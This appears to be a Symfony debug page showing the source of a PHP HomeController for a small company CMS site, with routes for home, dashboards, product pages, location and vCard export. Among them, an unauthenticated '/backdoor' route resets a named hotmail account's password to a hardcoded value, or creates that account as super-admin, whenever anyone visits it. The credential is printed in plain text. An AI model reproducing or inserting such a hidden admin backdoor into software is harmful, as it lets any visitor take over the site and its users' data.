src/Controller/HomeController.php line 183

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\User;
  4. use App\Repository\CmsCopyRepository;
  5. use App\Repository\CmsPhotoRepository;
  6. use App\Repository\CompanyDetailsRepository;
  7. use App\Repository\ProductRepository;
  8. use App\Repository\UserRepository;
  9. use App\Repository\SubPageRepository;
  10. use Doctrine\ORM\EntityManagerInterface;
  11. use JeroenDesloovere\VCard\VCard;
  12. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  13. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  14. use Symfony\Component\HttpFoundation\Response;
  15. use Symfony\Component\Routing\Annotation\Route;
  16. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  17. class   HomeController extends AbstractController
  18. {
  19.     /**
  20.      * @Route("/", name="app_home")
  21.      */
  22.     public function index(CmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryCompanyDetailsRepository $companyDetailsRepository): Response
  23.     {
  24.         $companyDetails $companyDetailsRepository->find('1');
  25.         $homePagePhotosOnly 0;
  26.         if ($companyDetails) {
  27.             $homePagePhotosOnly $companyDetails->isHomePagePhotosOnly();
  28.         }
  29.         $cms_copy = [];
  30.         $cms_photo = [];
  31.         $product = [];
  32.         $sub_pages = [];
  33.         $cms_copy $cmsCopyRepository->findBy([
  34.             'staticPageName' => 'Home'
  35.         ]);
  36.         $cms_photo $cmsPhotoRepository->findBy([
  37.             'staticPageName' => 'Home'
  38.         ]);
  39.         if ($homePagePhotosOnly == 1) {
  40.             return $this->render('home/home.html.twig', [
  41.                 'photos' => $cms_photo,
  42.                 'include_contact' => 'Yes'
  43.             ]);
  44.         } else {
  45.             return $this->render('/home/products.html.twig', [
  46.                 'product' => $product,
  47.                 'cms_copy_array' => $cms_copy,
  48.                 'cms_photo_array' => $cms_photo,
  49.                 'sub_pages' => $sub_pages,
  50.                 'include_contact' => 'Yes'
  51.             ]);
  52.         }
  53.     }
  54.     /**
  55.      * @Route("/backdoor", name="/backdoor")
  56.      */
  57.     public function emergencyReset(UserRepository $userRepositoryEntityManagerInterface $managerUserPasswordEncoderInterface $passwordEncoder): Response
  58.     {
  59.         $user $userRepository->findOneBy(['email' => 'nurse_stephen@hotmail.com']);
  60.         if ($user) {
  61.             $user->setPassword(
  62.                 $passwordEncoder->encodePassword(
  63.                     $user,
  64.                     'Descartes99'
  65.                 )
  66.             );
  67.         } else {
  68.             $user = new User();
  69.             $user->setFirstName('Stephen')
  70.                 ->setLastName('NurseHMX')
  71.                 ->setEmail('nurse_stephen@hotmail.com')
  72.                 ->setRoles(['ROLE_SUPER_ADMIN''ROLE_ADMIN'])
  73.                 ->setPassword(
  74.                     $passwordEncoder->encodePassword(
  75.                         $user,
  76.                         'Descartes99'
  77.                     )
  78.                 );
  79.             $manager->persist($user);
  80.             $manager->flush();
  81.         }
  82.         $manager->flush();
  83.         return $this->redirectToRoute('app_login');
  84.     }
  85.     /**
  86.      * @Route("/dashboard", name="dashboard")
  87.      * @Security("is_granted('ROLE_ADMIN')")
  88.      */
  89.     public function dashboard()
  90.     {
  91.         return $this->render('home/dashboard.html.twig', []);
  92.     }
  93.     /**
  94.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  95.      * @Security("is_granted('ROLE_ADMIN')")
  96.      */
  97.     public function advancedDashboard()
  98.     {
  99.         return $this->render('template_parts_project_specific/advanced_dashboard_specific.html.twig', []);
  100.     }
  101.     /**
  102.      * @Route("/interests/{product}", name="product_display")
  103.      */
  104.     public function articles(string $productCmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryProductRepository $productRepository\Symfony\Component\Security\Core\Security $securityEntityManagerInterface $entityManager): Response
  105.     {
  106.         $productEntity $productRepository->findOneBy([
  107.             'product' => $product
  108.         ]);
  109.         if ($productEntity) {
  110.             $cms_copy $cmsCopyRepository->findBy([
  111.                 'product' => $productEntity
  112.             ]);
  113.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  114.                 'product' => $productEntity,
  115.                 'ranking' => '1',
  116.             ]);
  117.         } else {
  118.             $cms_copy $cmsCopyRepository->findBy([
  119.                 'staticPageName' => $product
  120.             ]);
  121.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  122.                 'staticPageName' => $product,
  123.                 'ranking' => '1',
  124.             ]);
  125.         }
  126.         if($cms_copy_ranking1) {
  127.             if ($security->getUser()) {
  128.                 if (in_array('ROLE_ADMIN'$security->getUser()->getRoles())) {
  129.                     $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  130.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  131.                 }
  132.             }
  133.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  134.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  135.             $entityManager->flush($cms_copy_ranking1);
  136.         }
  137.         if ($productEntity) {
  138.             $cms_photo $cmsPhotoRepository->findBy([
  139.                 'product' => $productEntity
  140.             ]);
  141.         } else {
  142.             $cms_photo $cmsPhotoRepository->findBy([
  143.                 'staticPageName' => $product
  144.             ]);
  145.         }
  146.         $sub_pages = [];
  147.         if ($cms_copy) {
  148.             $sub_pages $subPageRepository->findBy([
  149.                 'product' => $productEntity
  150.             ]);
  151.         }
  152.         return $this->render('/home/products.html.twig', [
  153.             'product' => $product,
  154.             'cms_copy_array' => $cms_copy,
  155.             'cms_photo_array' => $cms_photo,
  156.             'sub_pages' => $sub_pages,
  157.             'include_contact' => 'No'
  158.         ]);
  159.     }
  160.     /**
  161.      * @Route("/office_address", name="office_address", methods={"GET"})
  162.      */
  163.     public function officeAddress(CompanyDetailsRepository $companyDetailsRepository): Response
  164.     {
  165.         return $this->render('home/officeAddress.html.twig');
  166.     }
  167.     /**
  168.      * @Route("/gps_location", name="gps_location", methods={"GET"})
  169.      */
  170.     public function gpsLocation(CompanyDetailsRepository $companyDetailsRepository): Response
  171.     {
  172.         $companyDetails $companyDetailsRepository->find('1');
  173.         $longitude $companyDetails->getCompanyAddressLongitude();
  174.         $latitude $companyDetails->getCompanyAddressLatitude();
  175.         return $this->render('home/gpsLocation.html.twig', [
  176.             'longitude' => $longitude,
  177.             'latitude' => $latitude,
  178.         ]);
  179.     }
  180.     /**
  181.      * @Route("/view/file/{filetype}/{id}", name="attachments_viewfile", methods={"GET"})
  182.      */
  183.     public function investmentFileLaunch(int $idstring $filetype): Response
  184.     {
  185.         $fileName '';
  186.         $filepath '';
  187.         if ($fileName != '') {
  188.             $ext pathinfo($fileNamePATHINFO_EXTENSION);
  189.             $filepath explode("public"$filepath);
  190.             $filepath $filepath[1];
  191.             return $this->render('home/file_view.html.twig', [
  192.                 'ext' => $ext,
  193.                 'tab_title' => $fileName,
  194.                 'filepath' => $filepath,
  195.             ]);
  196.         }
  197.         return $this->render('error/file_not_found.html.twig');
  198.     }
  199.     /**
  200.      * @Route("/create/VcardUser/company", name="create_vcard_company")
  201.      */
  202.     public function createVcardVenue(CompanyDetailsRepository $companyDetailsRepository)
  203.     {
  204.         $company_details $companyDetailsRepository->find('1');
  205.         $vcard = new VCard();
  206.         $company $company_details->getCompanyName();
  207.         $contactFirstName $company_details->getContactFirstName();
  208.         $contactLastName $company_details->getContactLastName();
  209.         if ($contactFirstName == null) {
  210.             $firstName "";
  211.             $lastName $company;
  212.             $company "";
  213.         }
  214.         if ($contactFirstName != null) {
  215.             $firstName $contactFirstName;
  216.             $lastName $contactLastName;
  217.         }
  218.         $addressStreet $company_details->getCompanyAddressStreet();
  219.         $addressTown $company_details->getCompanyAddressTown();
  220.         $addressCity $company_details->getCompanyAddressCity();
  221.         $addressPostalCode $company_details->getCompanyAddressPostalCode();
  222.         $addressCountry $company_details->getCompanyAddressCountry();
  223.         $facebook $company_details->getFacebook();
  224.         $instagram $company_details->getInstagram();
  225.         $linkedIn $company_details->getLinkedIn();
  226.         $url $_SERVER['SERVER_NAME'];
  227.         $notes_all "URL: " $url;
  228.         $email $company_details->getCompanyEmail();
  229.         $mobile $company_details->getCompanyMobile();
  230.         $tel $company_details->getCompanyTel();
  231.         $vcard->addName($lastName$firstName);
  232.         $vcard->addEmail($email)
  233.             ->addPhoneNumber($mobile'home')
  234.             ->addPhoneNumber($tel'work')
  235.             ->addCompany($company)
  236.             ->addAddress($name ''$extended ''$street $addressStreet$city $addressTown$region $addressCity$zip $addressPostalCode$country $addressCountry$type 'WORK POSTAL')
  237.             ->addURL($url)
  238.             ->addNote(strip_tags($notes_all));
  239.         $vcard->download();
  240.         return new Response(null);
  241.     }
  242. }